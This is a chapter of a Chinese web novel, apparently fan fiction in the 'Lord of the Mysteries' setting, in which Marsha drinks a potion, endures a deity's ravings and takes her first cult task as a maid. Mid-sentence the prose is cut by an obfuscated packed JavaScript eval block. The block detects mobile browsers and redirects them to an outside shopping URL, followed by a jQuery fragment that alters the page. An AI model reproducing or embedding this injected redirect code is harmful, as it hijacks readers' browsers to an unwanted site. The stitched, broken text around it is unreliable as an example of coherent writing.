好苦。
魔药入口的第一刻，玛莎的脑海里只有这一个想法。
这也太苦了……她尝过的所有味道都无法和这玩意儿相比，她必须用尽全力才能不让自己当场吐出来。
为什么……明明相邻途径的观众就好的多……
但很快她就没有心思去吐槽口感的问题了，随着魔药开始和她的身体结合，她听到了来自那位造物主的呓语。
第一次祈祷时的平静也许只是个幸运的意外：她碰巧遇上了真实造物主比较清醒的时刻，而非自身有什么特殊。这一次，她终于体会到了那种脑子都被搅匀的感觉。
那种呓语甚至很难被称为语言，更像是某种直接作用于精神的混乱洪流。无数破碎的画面、扭曲的概念同时涌入她的意识：血肉和锁链、背叛和堕落、创造和毁灭、以及那种难以用常人的思维去理解的爱……种种矛盾的意志纠缠在一起，像是无数只手一起撕扯她的灵魂。
她感觉自己的思维开始涣散，某种疯狂的冲动在心底升起：去接纳，去融入那片混沌……
不。
她咬紧牙关，努力在脑海里继续勾勒那些在现实中不存在的事物。我是玛莎。不，我不只是玛莎，但我现在是玛莎。我来自另一个世界，我知道你们的一切，我知道我现在看到的只不过是一段残留在非凡特性里的精神烙印，我不会疯掉，我不能疯掉……
呓语依然在继续，但它对玛莎的影响似乎正在逐渐减弱——也可能是玛莎开始适应了这种疯狂。就像长时间浸泡在冷水中的手指会逐渐失去知觉一样，她的精神也在这种冲击下变得麻木。
当她的视线再次清晰起来时，世界似乎有些不一样了。
若有若无的视线从四面八方投来，像是有无数双眼睛在暗中窥视；空气中弥漫着某种无形的力量，是曾经举行过万千仪式的残留；同样难以明数的虔诚而绝望的灵魂在这里祈祷——即使他们本身可能都已经不复存在了，强烈的信仰依然在这个空间里留下了不灭的印记。
而在这一切之上，一道更加强大、更加深邃的视线正冰冷地俯视着这里。
那是真实造物主在注视着这里，注视着祂的神殿。
玛莎打了个寒颤。
“赞美主。”看到她睁开眼睛，A先生轻声说道，声音里满是虔诚。
“……赞美主。”玛莎听到自己的声音回答，低沉而沙哑。
A先生主动伸手，示意她可以借力站起来。
指尖出来冰凉滑腻的触感，不像在触摸人的皮肤，更像在触摸一团翻开的血肉——考虑到蔷薇主教的本质，也许事实上也是如此。
但……她不讨厌这种感觉。
那种异样的触感甚至让她感到一丝安心，像是得到了某种确认，某种接纳。
等等。
安心？觉得强大，觉得神秘，甚至感受到其中奇异的美感，在玛莎眼里都还算可接受的选项，但是安心？因为接触一团变异的血肉安心？认真的？
自己已经因为魔药的影响，认知开始扭曲了吗？
还是说……这就是隐藏在自己心底的真实？
即使很清楚加入这个时期的极光会意味着什么：疯狂的信徒，可怕的仪式，被理所当然的牺牲。她依然选择主动去接近，当她如此自然地融入外围成员的角色时，她——
“回去以后尽快举行一次祭祀仪式，感谢主对你的庇护，这会让你的状态更加稳定；举行越多的仪式，能让你越靠近主。”
A先生的声音打断了她愈发动摇的认知。
知道扮演法的玛莎大概能猜到原理：被称为“秘祈人”的途径，很可能就是通过举行向隐秘存在的沟通仪式来消化魔药的。
“你应该知道要怎么做吧？”
当然。玛莎回过神来，在服下魔药的同时，真实造物主和命运天使的尊名，基础的神秘学知识，祭祀和仪式魔法，就像本能一样浮现在她的脑海里。她当然知道该如何布置祭坛，如何选择祭品，如何在特定的时间向真是造物主在献上祈祷。
“我知道。”
玛莎停顿了一下，试探性的抛出另一个问题。
“A先生，我之后需要进一步学习那些神秘学语言吗？”
魔药带来了少量巨人语和巨龙语的知识，大概是作为沟通取悦神灵知识的一部分。但缺乏体系，而且第五纪最常用的赫密斯语，似乎并没有被真实造物主更新进秘祈人的知识库里。
“如果你觉得有必要，你可以向主祈祷。”A先生回答，“巨人语、巨龙语、赫密斯语……所有的神秘学语言本质上只是对最初、最古老的那种语言的诠释，而我主掌握着那种语言的源头，祂可以直接赐予你理解。”
“——只需向主祈求，玛莎。”
这是他第一次称呼她的名字。
“只需要相信主，祂会在合适的时间让你明白你需要明白的一切。”
还真是符合“秘祈人”的回答啊，玛莎想，通过祈求来获取所有隐秘……大脑对这个途径的作用确实不大，连学习一门语言都不需要去记忆语法和词汇。只要能念对开始仪式的咒文，之后一切就是真实造物主的麻烦了，自己只要负责努力活到仪式结束。
玛莎思考了一下，作为一个虔诚的信徒，这时候她应该表现得更谦卑一些。
“我已经从主那里得到足够多的恩赐了，也许我会在能为主做出更多贡献后再祈求这件事。”她回答。
“主是全知全能的存在，祂不需要我们为祂做什么。”
出乎意料地，A先生严肃地纠正到。
“所谓的任务只是祂给予我们的考验，只是一个让祂看到我们的契机。但恩赐与否只取决于祂的意愿，而不在于你完成了多少任务。”
“不要把主当做那种索取供奉，然后给予恩惠的庸俗存在。”
玛莎心下一惊：“抱歉，我不是——”
“我明白，你知道恩赐不是可以无尽取用的。这很好，说明你对主有敬畏。但你对主的本质了解的还不够深刻。”
A先生的语气恢复了平和。
“好了，既然你提到了希望做出更多贡献，那么，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253370|197965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会帮你询问主的旨意。”
他走到倒吊人的雕塑前跪下，虔诚地闭上眼睛，似乎在倾听什么。随着时间推移，他的表情变得越来越狰狞，斗篷下隐约可以看到血肉在蠕动，像是有什么东西在他的皮肤下爬行。
玛莎战战兢兢地看着他，也暗自祈祷他不会突然崩溃成一滩血肉，少了这个大雾霾事件的关键角色，她真不知道故事会如何发展了。
好在她的担忧并没有发生，在身体到极限前，A先生突然睁开了眼睛，回过头看着她。
鲜血顺着他的眼角淌下，让他那张原本就漂亮到近乎妖异的脸更加诡异，但本人似乎毫无察觉，声音里只有纯粹的喜悦。
“——主确实有考验交给你。”
那些询问他身体状况的话语卡在了喉咙里，玛莎感到心跳加速。来了，第一件任务。
“住在乔伍德区的柯林斯夫妇，他们家的杂活女仆安妮也是我们的姐妹。”A先生随手抹了一把脸上的血迹。
“上个月，安妮告诉我们：柯林斯夫人变得有些奇怪——安妮同样没有踏上你我这条更接近主的道路，因此无法准确地描述异常所在。但另一件事实是：和她一起工作的另一个杂活女仆这些天变得越来越虚弱，医生开了许多药剂也无济于事。”
“她怀疑这两件事中有某种联系。”
听起来确实不同寻常……
“那，安妮还好吗？”玛莎问。
“她一直在向我主祈祷，因此平安无事。”A先生微笑了起来，显然是作为信徒为真实造物主的强大相当得意，“现在那个生病的女仆离开了。你要做的，就是去代替她的工作，观察柯林斯家到底发生了什么，然后回来向我汇报。”
意思是让她去做杂活女仆？
玛莎愣了一下。这意味着她终于可以离开那间充满霉味的小阁楼，过上有稳定食物和住处的生活了？
“我很愿意。”
她立刻回答，然后才迟疑着补充道：
“……虽然，我不确定他们会不会要我。”
对于下层的贫民来说，杂活女仆算得上是一份非常好的工作了，有免费的住宿和食物，一周还有三到六苏勒的工资，因此竞争也相当激烈。
至少，玛莎觉得凭着自己现在这副营养不良的样子，绝无可能在公平竞争中取得。
“不用担心，主不会给予你一个完全不可能完成的任务。”
A先生安慰道。
在向神像祈祷后，他的态度似乎变得更友善了一些。虽然不知道真实造物主和他说了什么，但应该不是对自己太负面的评价。
“安妮说过柯林斯先生非常注重隐私，强调选人可靠比一切都重要，所以这周日她会在柯林斯家等你去拜访，她会告诉柯林斯先生你是她的表妹，所以她对你的家庭情况非常了解。只要你表现的还算乖巧，懂得保守秘密，那个位置就会是你的。”
周日……也就是三天后。
玛莎默默地计算着：三天的时间应该足够自己初步适应魔药带来的影响，为第一个任务做准备了。